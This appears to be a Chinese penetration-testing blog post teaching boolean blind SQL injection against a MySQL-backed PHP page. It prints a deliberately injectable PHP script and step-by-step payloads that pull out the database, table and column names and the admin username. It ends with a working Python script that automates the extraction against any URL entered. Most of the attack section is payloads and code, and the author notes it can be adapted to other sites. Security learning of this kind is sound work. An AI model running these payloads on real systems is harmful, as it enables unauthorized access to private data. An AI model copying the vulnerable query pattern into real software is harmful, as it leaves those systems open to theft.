前言:
布尔型盲注是在没有回显点,只会返回对或者错,这两种情况。我就是渗透测试时长两年半的低危小子
关于布尔型注入,和时间盲注。会涉及到下面这几个函数:
length() : 返回字符串长度
substr() :截取字符串 (语法:substr(string,start,leng))
ascii() : 返回字符的ascii码(将字符等变为数字)
sleep() : 需要延迟的时间
if(str1,str2,str3) : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个
正文:
首先判断是否存在盲注 直接贴出源码
可以看出只有正常和错误的2个显示
<?php
$con = mysqli_connect('127.0.0.1','root','root','test');
if (mysqli_connect_errno())
{
echo "连接失败".mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i")){
exit("no");
}
$result = mysqli_query($con,"select * from user where id=".$id);
$row = mysqli_fetch_array($result);
if ($row){
exit("yes");
}else{
exit("no");
}
?>
这是发现,看源码。只会回显True或者Flase。
0x01. 布尔型盲注
第一步:猜测数据库名称的长度
id=1' and length(database()) = 1-- qwe
id=1' and length(database()) = 2-- qwe
id=1' and length(database()) = 3-- qwe
id=1' and length(database()) = 4-- qwe
我们可以这样只用burp去跑,就会发现页面不正常。或者返回包长度不一样
第二步:查询库名
利用substr() 截取数据库,然后使用ascii() 函数,转换为数字,也就是ascii码
id=1' and (ascii(substr(database(),1,1))) = 115-- q
id=1' and (ascii(substr(database(),1,1))) = 116-- q
通过burp爆破,发现115的时候是 no,116的时候是yes
至于116是什么意思嘞~~~~~
其实就是ascii码,然后看下面图,我们就知道116对应的字符是 t
这样的依次下去,我们在看第剩下的三为,因为我们length函数测试了,发现只有四位
id=1' and (ascii(substr(database(),2,1))) = 101-- q
id=1' and (ascii(substr(database(),3,1))) = 115-- q
id=1' and (ascii(substr(database(),4,1))) = 116-- q
这样,我们就知道了这个数据库 名叫做 : test
第三步,获取表名
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117-- qq
这里limit 0,1 : 意思是说,返回第一个表的表名,然后再通过substr截取出第一个,
然后再通过ascii 函数来转换,具体不懂substr可以看下前言写的
这里也可以直接爆破表名
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=115-- qq
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101-- qq
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=114-- qq
通过过这样,就可以知道了表名 是 : user
第四步:获取字段
id=1' and ascii(substr((select column_name from information_schema.columns
where table_schema=database() and table_name='user' limit 0,1),1,1)) >= 105 -- qq
然后发现正确,然后发现是id,我们不需要这个,我们就改成 limit 1,1
依次下来就知道了,具体就得出了字段,分别为。id,username,password
第五步,查询数据
and (ascii(substr((select username from user limit 1,1),1,1)))=97--+
通过爆破。就知道了字段,第一个是97,看对应的ascii,就是a
然后依次寻找,得知是admin
python写布尔型盲注脚本
这里我直接的帖出来了,头晕眼花花了。其实我是想写个通用的。但是因为没时间(懒),晚上 我追无心法师,看着好看。咳咳,就
不写了,其实很简单的,就是查看页面返回信息,然后判断长度。再使用for循环。然后这边有点繁琐的,好多地方需要修改,但是我想想了,时间不够,2天写一篇博客,时间太缺了(其实是跟女朋友打游戏,研究其他方向)
参考参考就好。我也参考了一下其他的。然后修改了一下。
首要理解的,就是知道布尔型盲注,他返回的页面只有 true和flase。所以 返回的页面只有对,和错。所以判断长度,然后循环。
这个比较耗时间,因为我写的for循环,本意上是打算通用的。
import requests
import time
db = ""
tab = ""
payload_url = str(input("输入目标网址:"))
payload_db = payload_url + "' and ascii(substr(database(),{sub},1))={char}--+"
payload_tab = payload_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {t1},1),{s1},1))={char}-- qq"
chars = '@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
test1 = requests.get(payload_url+"'")
text1 = len(test1.text)
# test2 = requests.get(payload_url)
# text2 = test2.text
def database(): #获取数据库名
for sub in range(9):
for char in chars:
char_ascii = ord(char) # 16编码后的 字符
urls = payload_db.format(sub=sub, char=char_ascii) # 代入url的目标站点
tar = requests.get(urls) # 对目标站点发起请求
length = len(tar.text)
if length == text1:
global db
db += char
print("[~]正在猜测库名:%s..." % db)
break
print("*" * 10)
print("[+]当前的数据库名:%s"%db)
def table():
for tab_num in range(10):
for sub in range(10):
for char in chars:
char_ascii = ord(char)
#print(char_ascii)
urls = payload_tab.format(t1=tab_num,s1=sub,char=char_ascii)
tar = requests.get(urls)
length = len(tar.text)
if length == text1:
global tab
tab += char
print("[~]正在猜测表名:%s..." % tab)
break
print("*" * 10)
print("[+]当前的表名:%s"%tab)
if __name__=='__main__':
start = time.time()
database()
table()
print("---"*6)
print("[+]当前的数据库名:%s" % db)
print("[+]当前的表名:%s" % tab)
end = time.time()
print("目前总耗时:%ss"%(int(end - start)))
运行结果:
稍微的修改一下,也可以通用的去对其他网址进行探测
文末:
似乎也就这样了,好像没啥补充的。sqlmap跑盲注也很简单,他会自动的去跑。然后应该莫得问题了
关于脚本问题,有啥问题的话可以问我,一起学习的啦~~~~~~~
vx:zym18350405381
别社我就好,我人畜无害,低调求发展